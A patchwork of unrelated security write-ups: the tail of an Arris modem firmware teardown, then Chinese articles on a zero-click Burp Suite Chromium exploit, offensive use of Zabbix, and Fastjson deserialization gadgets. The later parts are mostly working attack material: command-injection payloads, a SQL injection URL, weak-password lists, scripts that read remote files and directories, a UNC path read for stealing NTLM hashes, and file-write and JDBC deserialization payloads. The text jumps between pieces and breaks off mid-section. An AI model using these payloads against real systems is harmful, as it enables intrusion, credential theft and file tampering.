From documentation, we know that the Broadcom chip in use here is Big Endian ARMv8. The systems and tools we’re performing our analysis with are Little Endian, so we’ll need to do some conversions for convenience. This isn’t a foolproof solution but it works well enough because UBIFS is a fairly simple storage format.

with open('rg1_stripped', 'rb') as f:
  dump = f.read()

with open('rg1_little', 'wb') as f:
  # Page size is 2048
  block = 2048
  nblocks = int(len(dump) / block)
  
  # Iterate over blocks, byte swap each 32-bit value
  for i in range(0, nblocks):
    current_block = dump[i*block:(i+1)*block]
    j = 0
    while j < len(current_block):
      section = current_block[j:j+4]
      f.write(section[::-1])
      j = j + 4

Extract

Now it’s time to try all the usual tools again. This time, however, they should work nicely… well, mostly. Note that because we’ve stripped out the spare data that is normally used for error correction and whatnot, it’s likely that some things are going to fail for no apparent reason. Skip ’em and sort it out later if necessary. The tools used for this portion were binwalk and ubireader.

# binwalk rg1_little

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             UBI erase count header, version: 1, EC: 0x1, VID header offset: 0x800, data offset: 0x1000
… snip … 
# tree -L 1 rootfs/
rootfs/
├── bin
├── boot
├── data
├── data_bak
├── dev
├── etc
├── home
├── lib
├── media
├── minidumps
├── mnt
├── nvram -> data
├── proc
├── rdklogs
├── root
├── run
├── sbin
├── sys
├── telemetry
├── tmp
├── usr
├── var
└── webs

Conclusion

Hopefully, this write-up will help someone out there dig into this device or others a little deeper.

Unfortunately, though, this is where we part ways. Since I need to move onto other projects for the time being, I would absolutely love for someone to pick this research up and run with it if at all possible. If you do, please feel free to reach out to me so that I can follow along with your work!

ARRIS CABLE MODEM TEARDOWN was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

一、前言

Headless Chrome是谷歌Chrome浏览器的无界面模式，通过命令行方式打开网页并渲染，常用于自动化测试、网站爬虫、网站截图、XSS检测等场景。

近几年许多桌面客户端应用中，基本都内嵌了Chromium用于业务场景使用，但由于开发不当、CEF版本不升级维护等诸多问题，攻击者可以利用这些缺陷攻击客户端应用以达到命令执行效果。

本文以知名渗透软件Burp Suite举例，从软件分析、漏洞挖掘、攻击面扩展等方面进行深入探讨。

二、软件分析

以Burp Suite Pro v2.0beta版本为例，要做漏洞挖掘首先要了解软件架构及功能点。

将burpsuite_pro_v2.0.11beta.jar进行解包，可以发现Burp Suite打包了Windows、Linux、Mac的Chromium，可以兼容在不同系统下运行内置Chromium浏览器。

在Windows系统中，Burp Suite v2.0运行时会将chromium-win64.7z解压至C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\目录

从目录名及数字签名得知Burp Suite v2.0是直接引用JxBrowser浏览器控件，其打包的Chromium版本为64.0.3282.24。

那如何在Burp Suite中使用内置浏览器呢？在常见的使用场景中，Proxy -> HTTP history -> Response -> Render及Repeater -> Render都能够调用内置Chromium浏览器渲染网页。

当Burp Suite唤起内置浏览器browsercore32.exe打开网页时，browsercore32.exe会创建Renderer进程及GPU加速进程。

browsercore32.exe进程运行参数如下：

// Chromium主进程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\Users\user\AppData\Local\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server="socks://127.0.0.1:0" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window

// Renderer进程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir="C:\Users\user\AppData\Local\JxBrowser" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disable-accelerated-video-decode --service-request-channel-token=C06434E20AA8C9230D15FCDFE9C96993 --renderer-client-id=2 --mojo-platform-channel-handle=2564 /prefetch:1

从进程运行参数分析得知，Chromium进程以headless模式运行、关闭了沙箱功能、随机监听一个端口（用途未知）。

三、漏洞利用

Chromium组件的历史版本几乎都存在着1Day漏洞风险，特别是在客户端软件一般不会维护升级Chromium版本，且关闭沙箱功能，在没有沙箱防护的情况下漏洞可以无限制利用。

Burp Suite v2.0内置的Chromium版本为64.0.3282.24，该低版本Chromium受到多个历史漏洞影响，可以通过v8引擎漏洞执行shellcode从而获得PC权限。

以Render功能演示，利用v8漏洞触发shellcode打开计算器（此处感谢Sakura提供漏洞利用代码）

这个漏洞没有公开的CVE ID，但其详情可以在这里找到。
该漏洞的Root Cause是在进行Math.expm1的范围分析时，推断出的类型是Union(PlainNumber, NaN)，忽略了Math.expm1(-0)会返回-0的情况，从而导致范围分析错误，导致JIT优化时，错误的将边界检查CheckBounds移除，造成了OOB漏洞。

用户在通过Render功能渲染页面时触发v8漏洞成功执行shellcode。

四、进阶攻击

Render功能需要用户交互才能触发漏洞，相对来说比较鸡肋，能不能0click触发漏洞？答案是可以的。

Burp Suite v2.0的Live audit from Proxy被动扫描功能在默认情况下开启JavaScript分析引擎（JavaScript analysis），用于扫描JavaScript漏洞。

其中JavaScript分析配置中，默认开启了动态分析功能（dynamic analysis techniques）、额外请求功能（Make requests for missing Javascript dependencies）

JavaScript动态分析功能会调用内置chromium浏览器对页面中的JavaScript进行DOM XSS扫描，同样会触发页面中的HTML渲染、JavaScript执行，从而触发v8漏洞执行shellcode。

额外请求功能当页面存在script标签引用外部JS时，除了页面正常渲染时请求加载script标签，还会额外发起请求加载外部JS。即两次请求加载外部JS文件，并且分别执行两次JavaScript动态分析。

额外发起的HTTP请求会存在明文特征，后端可以根据该特征在正常加载时返回正常JavaScript代码，额外加载时返回漏洞利用代码，从而可以实现在Burp Suite HTTP history中隐藏攻击行为。

GET /xxx.js HTTP/1.1
Host: www.xxx.com
Connection: close
Cookie: JSESSIONID=3B6FD6BC99B03A63966FC9CF4E8483FF

JavaScript动态分析 + 额外请求 + chromium漏洞组合利用效果：

五、流量特征检测

默认情况下Java发起HTTPS请求时协商的算法会受到JDK及操作系统版本影响，而Burp Suite自己实现了HTTPS请求库，其TLS握手协商的算法是固定的，结合JA3算法形成了TLS流量指纹特征可被检测，有关于JA3检测的知识点可学习《TLS Fingerprinting with JA3 and JA3S》。

Cloudflare开源并在CDN产品上应用了MITMEngine组件，通过TLS指纹识别可检测出恶意请求并拦截，其覆盖了大多数Burp Suite版本的JA3指纹从而实现检测拦截。这也可以解释为什么在渗透测试时使用Burp Suite请求无法获取到响应包。

以Burp Suite v2.0举例，实际测试在各个操作系统下，同样的jar包发起的JA3指纹是一样的。

不同版本Burp Suite支持的TLS算法不一样会导致JA3指纹不同，但同样的Burp Suite版本JA3指纹肯定是一样的。如果需要覆盖Burp Suite流量检测只需要将每个版本的JA3指纹识别覆盖即可检测Burp Suite攻击从而实现拦截。

本文章涉及内容仅限防御对抗、安全研究交流，请勿用于非法途径。

一、简介

Zabbix是一个支持实时监控数千台服务器、虚拟机和网络设备的企业级解决方案，客户覆盖许多大型企业。本议题介绍了Zabbix基础架构、Zabbix Server攻击面以及权限后利用，如何在复杂内网环境中从Agent控制Server权限、再基于Server拿下所有内网Agent。

二、Zabbix监控组件

Zabbix监控系统由以下几个组件部分构成：

1. Zabbix Server

Zabbix Server是所有配置、统计和操作数据的中央存储中心，也是Zabbix监控系统的告警中心。在监控的系统中出现任何异常，将被发出通知给管理员。

Zabbix Server的功能可分解成为三个不同的组件，分别为Zabbix Server服务、Web后台及数据库。

2. Zabbix Proxy

Zabbix Proxy是在大规模分布式监控场景中采用一种分担Zabbix Server压力的分层结构，其多用在跨机房、跨网络的环境中，Zabbix Proxy可以代替Zabbix Server收集性能和可用性数据，然后把数据汇报给Zabbix Server，并且在一定程度上分担了Zabbix Server的压力。

3. Zabbix Agent

Zabbix Agent部署在被监控的目标机器上，以主动监控本地资源和应用程序（硬盘、内存、处理器统计信息等）。

Zabbix Agent收集本地的状态信息并将数据上报给Zabbix Server用于进一步处理。

三、Zabbix网络架构

对于Zabbix Agent客户端来说，根据请求类型可分为被动模式及主动模式：

• 被动模式：Server向Agent的10050端口获取监控项数据，Agent根据监控项收集本机数据并响应。
• 主动模式：Agent主动请求Server(Proxy)的10051端口获取监控项列表，并根据监控项收集本机数据提交给Server(Proxy)

从网络部署架构上看，可分为Server-Client架构、Server-Proxy-Client架构、Master-Node-Client架构：

• Server-Client架构

最为常见的Zabbix部署架构，Server与Agent同处于内网区域，Agent能够直接与Server通讯，不受跨区域限制。

• Server-Proxy-Client架构

多数见于大规模监控需求的企业内网，其多用在跨机房、跨网络的环境，由于Agent无法直接与位于其他区域的Server通讯，需要由各区域Proxy代替收集Agent数据然后再上报Server。

四、Zabbix Agent配置分析

从进程列表中可判断当前机器是否已运行zabbix_agentd服务，Linux进程名为zabbix_agentd，Windows进程名为zabbix_agentd.exe。

Zabbix Agent服务的配置文件为zabbix_agentd.conf，Linux默认路径在/etc/zabbix/zabbix_agentd.conf，可通过以下命令查看agent配置文件并过滤掉注释内容：

cat /etc/zabbix/zabbix_agentd.conf | grep -v '^#' | grep -v '^$'

首先从配置文件定位zabbix_agentd服务的基本信息：

• Server参数

Server或Proxy的IP、CIDR、域名等，Agent仅接受来自Server参数的IP请求。

Server=192.168.10.100

• ServerActive参数

Server或Proxy的IP、CIDR、域名等，用于主动模式，Agent主动向ServerActive参数的IP发送请求。

ServerActive=192.168.10.100

• StartAgents参数

为0时禁用被动模式，不监听10050端口。

StartAgents=0

经过对 zabbix_agentd.conf 配置文件各个参数的安全性研究，总结出以下配置不当可能导致安全风险的配置项：

• EnableRemoteCommands参数

是否允许来自Zabbix Server的远程命令，开启后可通过Server下发shell脚本在Agent上执行。

风险样例：

EnableRemoteCommands=1

• AllowRoot参数

Linux默认以低权限用户zabbix运行，开启后以root权限运行zabbix_agentd服务。

风险样例：

AllowRoot=1

• UserParameter参数

自定义用户参数，格式为UserParameter=<key>,<command>，Server可向Agent执行预设的自定义参数命令以获取监控数据，以官方示例为例：

UserParameter=ping[*],echo $1

当Server向Agent执行ping[aaaa]指令时，$1为传参的值，Agent经过拼接之后执行的命令为echo aaaa，最终执行结果为aaaa。

command存在命令拼接，但由于传参内容受UnsafeUserParameters参数限制，默认无法传参特殊符号，所以默认配置利用场景有限。

官方漏洞案例可参考CVE-2016-4338漏洞。

• UnsafeUserParameters参数

自定义用户参数是否允许传参任意字符，默认不允许字符\ ' " ` * ? [ ] { } ~ $ ! & ; ( ) < > | # @

风险样例：

UnsafeUserParameters=1

当UnsafeUserParameters参数配置不当时，组合UserParameter自定义参数的传参命令拼接，可导致远程命令注入漏洞。

由Server向Agent下发指令执行自定义参数，即可在Agent上执行任意系统命令。
以 UserParameter=ping[*],echo $1 为例，向Agent执行指令ping[test && whoami]，经过命令拼接后最终执行echo test && whoami，成功注入执行shell命令。

• Include参数

加载配置文件目录单个文件或所有文件，通常包含的conf都是配置UserParameter自定义用户参数。

Include=/etc/zabbix/zabbix_agentd.d/*.conf

五、Zabbix Server攻击手法

除了有利用条件的Zabbix Agent漏洞外，默认情况下Agent受限于IP白名单限制，只处理来自Server的请求，所以攻击Zabbix Agent的首要途径就是先拿下Zabbix Server。

经过对Zabbix Server攻击面进行梳理，总结出部分攻击效果较好的漏洞：

1. Zabbix Web后台弱口令

Zabbix安装后自带Admin管理员用户和Guests访客用户(低版本)，可登陆Zabbiax后台。

超级管理员默认账号：Admin，密码：zabbix
Guests用户，账号：guest，密码为空

2. MySQL弱口令

从用户习惯来看，运维在配置Zabbix时喜欢用弱口令作为MySQL密码，且搜索引擎的Zabbix配置教程基本用的都是弱口令，这导致实际环境中Zabbix Server的数据库密码通常为弱口令。

除了默认root用户无法外连之外，运维通常会新建MySQL用户 zabbix，根据用户习惯梳理了zabbix用户的常见密码：

123456
zabbix
zabbix123
zabbix1234
zabbix12345
zabbix123456

拿下MySQL数据库后，可解密users表的密码md5值，或者直接替换密码的md5为已知密码，即可登录Zabbix Web。

3. CVE-2020-11800 命令注入

Zabbix Server的trapper功能中active checks命令存在CVE-2020-11800命令注入漏洞，该漏洞为基于CVE-2017-2824的绕过利用。
未授权攻击者向Zabbix Server的10051端口发送trapper功能相关命令，利用漏洞即可在Zabbix Server上执行系统命令。

active checks是Agent主动检查时用于获取监控项列表的命令，Zabbix Server在开启自动注册的情况下，通过active checks命令请求获取一个不存在的host时，自动注册机制会将json请求中的host、ip添加到interface数据表里，其中CVE-2020-11800漏洞通过ipv6格式绕过ip字段检测注入执行shell命令，受数据表字段限制Payload长度只能为64个字符。

{"request":"active checks","host":"vulhub","ip":"ffff:::;whoami"}

自动注册调用链：

active checks -> send_list_of_active_checks_json() -> get_hostid_by_host() -> DBregister_host()

command指令可以在未授权的情况下可指定主机(hostid)执行指定脚本(scriptid)，Zabbix存在3个默认脚本，脚本中的{HOST.CONN}在脚本调用的时候会被替换成主机IP。

# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
# scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1
# scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1

scriptid指定其中任意一个，hostid为注入恶意Payload后的主机id，但自动注册后的hostid是未知的，所以通过command指令遍历hostid的方式都执行一遍，最后成功触发命令注入漏洞。

{"request":"command","scriptid":1,"hostid":10001}

由于默认脚本的类型限制，脚本都是在Zabbix Server上运行，Zabbix Proxy是无法使用command指令的。payload长度受限制可拆分多次执行，必须更换host名称以执行新的payload。

漏洞靶场及利用脚本：Zabbix Server trapper命令注入漏洞（CVE-2020-11800）

4. CVE-2017-2824 命令注入

上面小结已详细讲解，CVE-2017-2824与CVE-2020-11800漏洞点及利用区别不大，不再复述，可参考链接：https://talosintelligence.com/vulnerability_reports/TALOS-2017-0325

漏洞靶场及利用脚本：Zabbix Server trapper命令注入漏洞（CVE-2017-2824）

5. CVE-2016-10134 SQL注入

CVE-2016-10134 SQL注入漏洞已知有两个注入点：

• latest.php，需登录，可使用未关闭的Guest访客账号。

/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

• jsrpc.php，无需登录即可利用。

利用脚本：https://github.com/RicterZ/zabbixPwn

漏洞靶场及利用脚本：zabbix latest.php SQL注入漏洞（CVE-2016-10134）

六、Zabbix Server权限后利用

拿下Zabbix Server权限只是阶段性的成功，接下来的问题是如何控制Zabbix Agent以达到最终攻击目的。

Zabbix Agent的10050端口仅处理来自Zabbix Server或Proxy的请求，所以后续攻击都是依赖于Zabbix Server权限进行扩展，本章节主要讲解基于监控项item功能的后利用。

在zabbix中，我们要监控的某一个指标，被称为“监控项”，就像我们的磁盘使用率，在zabbix中就可以被认为是一个“监控项”(item)，如果要获取到“监控项”的相关信息，我们则要执行一个命令，但是我们不能直接调用命令，而是通过一个“别名”去调用命令，这个“命令别名”在zabbix中被称为“键”(key)，所以在zabbix中，如果我们想要获取到一个“监控项”的值，则需要有对应的“键”，通过“键”能够调用相应的命令，获取到对应的监控信息。

以Zabbix 4.0版本为例，按照个人理解 item监控项可分为通用监控项、主动检查监控项、Windows监控项、自定义用户参数(UserParameter)监控项，Agent监控项较多不一一例举，可参考以下链接：
1. Zabbix Agent监控项
2. Zabbix Agent Windows监控项

在控制Zabbix Server权限的情况下可通过zabbix_get命令向Agent获取监控项数据，比如说获取Agent的系统内核信息：

zabbix_get -s 172.21.0.4 -p 10050 -k "system.uname"

结合上述知识点，针对item监控项的攻击面进行挖掘，总结出以下利用场景：

1. EnableRemoteCommands参数远程命令执行

Zabbix最为经典的命令执行利用姿势，许多人以为控制了Zabbix Server就肯定能在Agent上执行命令，其实不然，Agent远程执行系统命令需要在zabbix_agentd.conf配置文件中开启EnableRemoteCommands参数。

在Zabbix Web上添加脚本，“执行在”选项可根据需求选择，“执行在Zabbix服务器” 不需要开启EnableRemoteCommands参数，所以一般控制Zabbix Web后可通过该方式在Zabbix Server上执行命令拿到服务器权限。

如果要指定某个主机执行该脚本，可从Zabbix Web的“监测中 -> 最新数据”功能中根据过滤条件找到想要执行脚本的主机，单击主机名即可在对应Agent上执行脚本。

这里有个常见误区，如果类型是“执行在Zabbix服务器”，无论选择哪台主机执行脚本，最终都是执行在Zabbix Server上。

如果类型是“执行在Zabbix客户端”，Agent配置文件在未开启EnableRemoteCommands参数的情况下会返回报错。

Agent配置文件在开启EnableRemoteCommands参数的情况下可成功下发执行系统命令。

如果不想在Zabbix Web上留下太多日志痕迹，或者想批量控制Agent，拿下Zabbix Server权限后可以通过zabbix_get命令向Agent执行监控项命令，在Zabbix Web执行脚本实际上等于执行system.run监控项命令。

也可以基于Zabbix Server作为隧道跳板，在本地执行zabbix_get命令也能达到同样效果（Zabbix Agent为IP白名单校验）。

2. UserParameter自定义参数命令注入

之前介绍UserParameter参数的时候提到过，执行监控项时UserParameter参数command命令的$1、$2等会被替换成item传参值，存在命令注入的风险，但默认受UnsafeUserParameters参数限制无法传入特殊字符。

当Zabbiax Agent的zabbix_agentd.conf配置文件开启UnsafeUserParameters参数的情况下，传参值字符不受限制，只需要找到存在传参的自定义参数UserParameter，就能达到命令注入的效果。

举个简单案例，在zabbix_agentd.conf文件中添加自定义参数：

UserParameter=ping[*],echo $1

默认情况下UnsafeUserParameters被禁用，传入特殊字符将无法执行命令。

在zabbix_agentd.conf 文件中添加 UnsafeUserParameters=1，command经过传参拼接后成功注入系统命令。

zabbix_get -s 172.19.0.5 -p 10050 -k "ping[test && id]"

UnsafeUserParameters参数配置不当问题在监控规模较大的内网里比较常见，内网渗透时可以多留意Agent配置信息。

3. 任意文件读取

Zabbix Agent如果没有配置不当的问题，是否有其他姿势可以利用呢？答案是肯定的。

Zabbix原生监控项中，vfs.file.contents命令可以读取指定文件，但无法读取超过64KB的文件。

zabbix_get -s 172.19.0.5 -p 10050 -k "vfs.file.contents[/etc/passwd]"

zabbix_agentd服务默认以低权限用户zabbix运行，读取文件受zabbix用户权限限制。开启AllowRoot参数情况下zabbix_agentd服务会以root权限运行，利用vfs.file.contents命令就能任意文件读取。

如果文件超过64KB无法读取，在了解该文件字段格式的情况下可利用vfs.file.regexp命令正则获取关键内容。

4. Windows目录遍历

Zabbix原生监控项中，wmi.get命令可以执行WMI查询并返回第一个对象，通过WQL语句可以查询许多机器信息，以下例举几种利用场景：

• 遍历盘符

由于wmi.get命令每次只能返回一行数据，所以需要利用WQL的条件语句排除法逐行获取数据。

比如WQL查询盘符时，只返回了C:

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM Win32_LogicalDisk\"]"

通过追加条件语句排除已经查询处理的结果，从而获取下一行数据。

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM Win32_LogicalDisk WHERE Name!='C:'\"]"

可通过脚本一直追加条件语句进行查询，直至出现Cannot obtain WMI information.代表WQL已经无法查询出结果。从图中可以看到通过wmi.get命令查询出了该机器上存在C:、D:盘符。

• 遍历目录

获取C:下的目录，采用条件语句排除法逐行获取。

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' \"]"

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' AND Caption != 'C:\\\\\$Recycle.Bin' \"]"

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' AND Caption != 'C:\\\\\$Recycle.Bin' AND Caption != 'C:\\\\\$WinREAgent' \"]"

...

获取C:下的文件，采用条件语句排除法逐行获取。

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' \"]"

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' AND Name != 'C:\\\\\$WINRE_BACKUP_PARTITION.MARKER' \"]"

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' AND Name != 'C:\\\\\$WINRE_BACKUP_PARTITION.MARKER' AND Name !='C:\\\\browser.exe' \"]"

...

利用wmi.get命令进行目录遍历、文件遍历，结合vfs.file.contents命令就能够在Windows下实现任意文件读取。

基于zabbix_get命令写了个python脚本，实现Windows的列目录、读文件功能。

import os
import sys

count = 0

def zabbix_exec(ip, command):
    global count
    count = count + 1
    check = os.popen("./zabbix_get -s " + ip + " -k \"" + command + "\"").read()
    if "Cannot obtain WMI information" not in check:
        return check.strip()
    else:
        return False

def getpath(path):
    return path.replace("\\","\\\\\\\\").replace("$","\\$")

def GetDisk(ip):
    where = ""
    while(True):
        check_disk = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM Win32_LogicalDisk WHERE Name != '' " + where + "\\\"]")
        if check_disk:
            print(check_disk)
            where = where + "AND Name != '" + check_disk+ "'"
        else:
            break

def GetDirs(ip, dir):
    drive = dir[0:2]
    path = dir[2:]

    where = ""
    while(True):
        check_dir = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Caption FROM Win32_Directory WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
        if check_dir:
            print(check_dir)
            where = where + "AND Caption != '" + getpath(check_dir) + "'"
        else:
            break

def GetFiles(ip, dir):
    drive = dir[0:2]
    path = dir[2:]

    where = ""
    while(True):
        check_file = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM CIM_DataFile WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
        if check_file:
            if "Invalid item key format" in check_file:
                continue
            print(check_file)
            where = where + "AND Name != '" + getpath(check_file) + "'"
        else:
            break

def Readfile(ip, file):
    read = zabbix_exec(ip, "vfs.file.contents[" + file + "]")
    print(read)

if __name__ == "__main__":
    if len(sys.argv) == 2:
        GetDisk(sys.argv[1])
    elif sys.argv[2][-1] != "\\":
        Readfile(sys.argv[1], sys.argv[2])
    else:
        GetDirs(sys.argv[1],sys.argv[2])
        GetFiles(sys.argv[1],sys.argv[2])
    
    print("Request count: " + str(count))

5. Windows UNC路径利用

在Windows Zabbix Agent环境中，可以利用vfs.file.contents命令读取UNC路径，窃取Zabbix Agent机器的Net-NTLM hash，从而进一步Net-NTLM relay攻击。

Window Zabbix Agent默认安装成Windows服务，运行在SYSTEM权限下。在工作组环境中，system用户的Net-NTLM hash为空，所以工作组环境无法利用。

在域内环境中，SYSTEM用户即机器用户，如果是Net-NTLM v1的情况下，可以利用Responder工具获取Net-NTLM v1 hash并通过算法缺陷解密拿到NTLM hash，配合资源约束委派获取域内机器用户权限，从而拿下Agent机器权限。

也可以配合CVE-2019-1040漏洞，relay到ldap上配置基于资源的约束委派进而拿下Agent机器权限。

zabbix_get -s 192.168.30.200 -p 10050 -k "vfs.file.contents[\\\\192.168.30.243\\cc]"

6. Zabbix Proxy和主动检查模式利用场景

通过zabbix_get工具执行监控项命令只适合Agent被动模式且10050端口可以通讯的场景（同时zabbix_get命令也是为了演示漏洞方便）。

如果在Zabbix Proxy场景或Agent主动检查模式的情况下，Zabbix Server无法直接与Agent 10050端口通讯，可以使用比较通用的办法，就是通过Zabbix Web添加监控项。

以UserParameter命令注入漏洞举例，给指定主机添加监控项，键值中填入监控项命令，信息类型选择文本：

在最新数据中按照筛选条件找到指定主机，等待片刻就能看到执行结果。

任意文件读取漏洞也同理：

通过zabbix_get工具执行结果最大可返回512KB的数据，执行结果存储在MySQL上的限制最大为64KB。

ps: 添加的监控项会一直定时执行，所以执行完后记得删除监控项。

七、参考链接

https://www.zabbix.com/documentation/4.0/zh/manual/config/items/userparameters
https://github.com/vulhub/vulhub
https://talosintelligence.com/vulnerability_reports/TALOS-2017-0325
https://www.zsythink.net/archives/551/

FastJson反序列化0day及在区块链应用中的后渗透利用

链接：https://www.blackhat.com/us-21/briefings/schedule/#how-i-used-a-json-deserialization-day-to-steal-your-money-on-the-blockchain-22815

PPT链接：http://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf

一、Fastjson反序列化原理

这个图其实已经能让人大致理解了，更详细的分析移步
Fastjson反序列化原理

二、byPass checkAutotype

关于CheckAutoType相关安全机制简单理解移步

https://kumamon.fun/FastJson-checkAutoType/

以及 https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA

https://www.anquanke.com/post/id/225439

https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA

一句话总结checkAutoType(String typeName, Class<?> expectClass, int features) 方法的 typeName 实现或继承自 expectClass，就会通过检验

三、议题中使用的Fastjson 的一些已公开Gadgets

• 必须继承 auto closeable。
• 必须具有默认构造函数或带符号的构造函数，否则无法正确实例化。
• 不在黑名单中
• 可以引起 rce 、任意文件读写或其他高风险影响
• gadget的依赖应该在原生jdk或者广泛使用的第三方库中

Gadget自动化寻找

https://gist.github.com/5z1punch/6bb00644ce6bea327f42cf72bc620b80

关于这几条链我们简单复现下

1.Mysql JDBC

搭配使用 https://github.com/fnmsd/MySQL_Fake_Server

import com.alibaba.fastjson.JSON;

public class Payload_test {
    public static void main(String[] args){

        //搭配使用 https://github.com/fnmsd/MySQL_Fake_Server
        String payload_mysqljdbc = "{\"aaa\":{\"@type\":\"\\u006a\\u0061\\u0076\\u0061.lang.AutoCloseable\", \"@type\":\"\\u0063\\u006f\\u006d.mysql.jdbc.JDBC4Connection\",\"hostToConnectTo\":\"192.168.33.128\",\"portToConnectTo\":3306,\"url\":\"jdbc:mysql://192.168.33.128:3306/test?detectCustomCollations=true&autoDeserialize=true&user=\",\"databaseToConnectTo\":\"test\",\"info\":{\"@type\":\"\\u006a\\u0061\\u0076\\u0061.util.Properties\",\"PORT\":\"3306\",\"statementInterceptors\":\"\\u0063\\u006f\\u006d.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"autoDeserialize\":\"true\",\"user\":\"cb\",\"PORT.1\":\"3306\",\"HOST.1\":\"172.20.64.40\",\"NUM_HOSTS\":\"1\",\"HOST\":\"172.20.64.40\",\"DBNAME\":\"test\"}}\n" + "}";

        JSON.parse(payload_mysqljdbc);

        JSON.parseObject(payload_mysqljdbc);
    }
}

更多版本详情参考 https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg

2.commons-io写文件

https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

2.1 commons-io 2.0 - 2.6

 String aaa_8192 = "ssssssssssssss"+Some_Functions.getRandomString(8192);
//        String write_name = "C://Windows//Temp//sss.txt";
String write_name = "D://tmp//sss.txt";
String payload_commons_io_filewrite_0_6 = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\"},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"encoding\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}}";

此处在Linux复现时，或者其它环境根据操作系统及进程环境不同fastjson构造函数的调用会出现随机化，在原Poc基础上修改如下即可

2.1 commons-io 2.7.0 - 2.8.0

